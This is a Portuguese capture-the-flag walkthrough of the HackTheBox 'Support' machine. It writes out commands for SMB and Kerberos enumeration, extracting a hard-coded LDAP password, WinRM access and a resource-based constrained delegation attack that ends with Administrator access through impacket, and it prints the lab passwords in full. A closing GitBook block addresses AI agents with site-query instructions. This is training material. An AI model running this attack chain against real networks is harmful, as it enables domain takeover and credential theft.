> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Relato do HackTheBox Support

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração SMB
* Análise Binária de EXE
* Depuração com DNSpy
* Definindo pontos de interrupção e obtendo uma senha LDAP em texto claro (DNSpy)
* Enumeração de Usuários Kerberos (kerbrute)
* Enumeração LDAP (ldapsearch)
* Vazamento de Informações
* Abuso do grupo Remote Management Users (Evil-WinRM)
* Enumeração com SharpHound + BloodHound
* Abuso de Contas Compartilhadas de Suporte (GenericAll) (ataque RBCD) (Delegação Restrita Baseada em Recursos)
* Ataque de Delegação Restrita Baseada em Recursos - Criando um Objeto de Computador (powermad.ps1)
* Ataque de Delegação Restrita Baseada em Recursos - PowerView\.ps1
* Ataque de Delegação Restrita Baseada em Recursos - Obtendo o ticket de serviço impersonado (getST.py)
* Usando o ticket para obter acesso de Administrador (Escalação de Privilégios)
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/5b88686206b1bd25cd6c7c6ff581307dd323c9b7" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="/files/b2199cf43941fac79ffa4bbce2bf3bad281e496f" alt=""><figcaption></figcaption></figure>

**Varredura da versão das portas com o Nmap:** Usando o Nmap para escanear a versão das portas e extrair informações no arquivo "targeted":

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="/files/55dffd8e64729107b5e778585926c4d287d0daee" alt=""><figcaption></figcaption></figure>

## **Enumeração do DC:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### Lista smb:

Usando CrackMapExec para enumeração SMB.

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="/files/cf1bcf4c1aac3a2a5ed6ebed7b289b6a76750161" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

<figure><img src="/files/fe49b91b2144eaee55bc9793fa3a2e1133cb6190" alt=""><figcaption></figcaption></figure>

### **Lista Kerberos:**

Usando Kerbrute para enumerar usuários.

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="/files/b7eb512b5cb786916fb8922b56a61e73c723d974" alt=""><figcaption></figcaption></figure>

### **Exploração do compartilhamento de rede:**

Pesquisar pastas compartilhadas na rede.

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="/files/41829ade7cfda160c05c639dc340785c18c18997" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="/files/9e412316a8feb6664fe3ea677d60b67881a4c72b" alt=""><figcaption></figcaption></figure>

Descobrimos um arquivo zip interessante chamado "UserInfo-exe-zip". Para prosseguir, usamos o `get` comando para baixá-lo para nossa máquina.

<figure><img src="/files/21072533fcf6b0a5befcb1d4fdae614d89230898" alt=""><figcaption></figcaption></figure>

### /*/* Análise de arquivo binário Windows\:/*/*

Vamos executar um executável Windows em uma máquina equipada com Windows.

Para isso, precisamos:

1. Transferir arquivo ZIP

<figure><img src="/files/89f870bf6ccd9729fe016c1123aec36a0e1d8177" alt=""><figcaption></figcaption></figure>

2. Migração da Configuração de VPN
3. `/etc/hosts` Configuração

<figure><img src="/files/66fe1f85822c7bd9f79697bb88cbdfe8d000a983" alt=""><figcaption></figcaption></figure>

Para executar o binário e identificar todos os usuários válidos, basta inserir o seguinte comando

```bash
./UserInfo.exe find -first * -last *
```

#### Este binário nos permitirá listar usuários.

<figure><img src="/files/fe9ecaa144765ecfd35c4c86075f1f36a018a028" alt=""><figcaption></figcaption></figure>

#### Análise de arquivo binário Windows baixado com DNspy.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="/files/a54838dbad8afd4cb1124e8445617b22cdbe1925" alt=""><figcaption></figcaption></figure>

### **Extração de uma senha em texto claro:**

Usando DNspy para extrair uma senha em texto claro de um binário Windows.

<figure><img src="/files/ccc5a138047e58a4ddd6f3e0e182e46508dac30f" alt=""><figcaption></figcaption></figure>

Vamos executar o programa, mas vamos pausar apenas na seção em que o texto está claro.

<figure><img src="/files/fccde5a8b7255fc3af162d04aa0b51dd5720736e" alt=""><figcaption></figcaption></figure>

Aqui está a senha LDAP:

<figure><img src="/files/84856a54419f0cb5b299240bdf80c0a9b7c2da11" alt=""><figcaption></figcaption></figure>

### **Verificação da senha LDAP:**

Verificando a senha extraída com CrackMapExec.

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="/files/e69869270406c8969052af92495a30e11dcdd08f" alt=""><figcaption></figcaption></figure>

### Lista do domínio:

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### Usuários do domínio

```
enumdomusers
```

<figure><img src="/files/f9661018541388c1784a2c8cba2b8cef4b84e2e5" alt=""><figcaption></figcaption></figure>

#### Grupos do domínio

```bash
enumdomgroups
```

<figure><img src="/files/8ab64599b8b49ee535e35f8823ce8883dd3d41c9" alt=""><figcaption></figcaption></figure>

#### Descrições dos usuários:

```bash
querydispinfo
```

<figure><img src="/files/1a5979c82e7493f35744eac949023f99251634c2" alt=""><figcaption></figcaption></figure>

#### Inserir todos os usuários válidos do domínio em um arquivo.

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="/files/68d369b53282db1ea38581780d4472d886fa8d05" alt=""><figcaption></figcaption></figure>

#### Agora verificaremos se a senha LDAP é reutilizada por um dos seguintes usuários:

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

No entanto, isso não funciona.

<figure><img src="/files/37417e61077c9304689cfa74e855735b3866ec8b" alt=""><figcaption></figcaption></figure>

### **Listagem LDPA:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### Usando LDAP search para enumerar informações.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### Há muitos dados disponíveis, porém, ao aplicar um filtro nas informações da música, uma senha para o usuário support é descoberta.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="/files/a1dea9bab7bd4c9d8e8ad7fa7ad64fb23573f93a" alt=""><figcaption></figcaption></figure>

## **Exploração:**

#### Use CrackMapExec para confirmar a senha associada à conta support.

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

Esse usuário faz parte do grupo de usuários de gerenciamento remoto, permitindo que nos conectemos via Windows Remote Management (WinRM).

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Uso do Evil-WinRM:**

Conectar ao sistema-alvo via Evil-WinRM usando as informações identificadas obtidas.

<figure><img src="/files/0c81c82ab468f56eca6a61ff5fd96c5b6ae0756c" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

### **Revisão dos privilégios atuais:**<br>

Usando as `whoami /priv` comando para verificar os privilégios do usuário, sem sucesso.<br>

<figure><img src="/files/1eb8e4d290fc6d1cacfb28d746f655e2d5195c45" alt=""><figcaption></figcaption></figure>

### **Análise dos grupos de associação:**

Usando as `net user support` comando para inspecionar os grupos aos quais o usuário pertence.

Descoberta de um grupo aparentemente raro, "shared support accounts".

<figure><img src="/files/f7b8298b97047128b2d884a9528cdd4212ce9d6d" alt=""><figcaption></figcaption></figure>

### **Uso do BloodHound para análise de privilégios:**

#### Usando a ferramenta BloodHound para mapear relacionamentos de acesso.

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="/files/a6b4d8a56622f68de588fa176b15e65056ece229" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/ff3503f672fe15c7edb8d25c68bda54508f2e10a" alt=""><figcaption></figcaption></figure></div>

### **Execução do SharpHound para análise adicional:**

Usando SharpHound, uma ferramenta complementar ao BloodHound, para coletar dados adicionais sobre relacionamentos de acesso.

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="/files/9e27d04261190f182931856fa627032d0ac8ca20" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/9c4ab42b3f11e228861af9a04a5c22015599f76f" alt=""><figcaption></figcaption></figure>

## Ataque de Delegação Restrita Baseada em Recursos vulnerável:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **Identificação da vulnerabilidade Ataque de Delegação Restrita Baseada em Recursos:**

<div data-full-width="true"><figure><img src="/files/24e24c0ed3e2f7f05c82e347b0136c614d6d63d6" alt=""><figcaption></figcaption></figure></div>

#### Implantação do script Powermad para criar uma conta de máquina.

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### Usando PowerView para verificar a criação da conta de máquina.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="/files/373c35e0b13c9a252d77d84e692ed697538cfcd4" alt=""><figcaption></figcaption></figure></div>

#### Definição de autorizações para a conta de máquina usando comandos PowerShell.

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### Com este comando, verificamos se todo o procedimento 'Get-DomainComputer dc' funciona usando as propriedades 'msds-allowedtoactonbehalfofather identity'.'

<div data-full-width="true"><figure><img src="/files/c5a9f686d53faf1e0799fef4e3b9e16a6b978c84" alt=""><figcaption></figcaption></figure></div>

### **Exploração da vulnerabilidade**

#### Usando a ferramenta Impacket para executar o `getST` comando para obter um ticket TGT que impersona o usuário Administrator.

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="/files/1ba7808539e1bb3d821a21f7e7d9847beaf418cc" alt=""><figcaption></figcaption></figure>

#### Configure o ambiente Kerberos do Administrator exportando `KRB5CCNAME`, depois conecte-se ao sistema-alvo usando o Impacket `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="/files/7a9e79f2d244dd656c1732e1d0d7bb177f13df6b" alt=""><figcaption></figcaption></figure>

### Flag final :)

<figure><img src="/files/98057818f49e5c465e92634df565d56190a0fd48" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/17630b97a1e42df12ce6a43a1bd0a1c01897938b" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
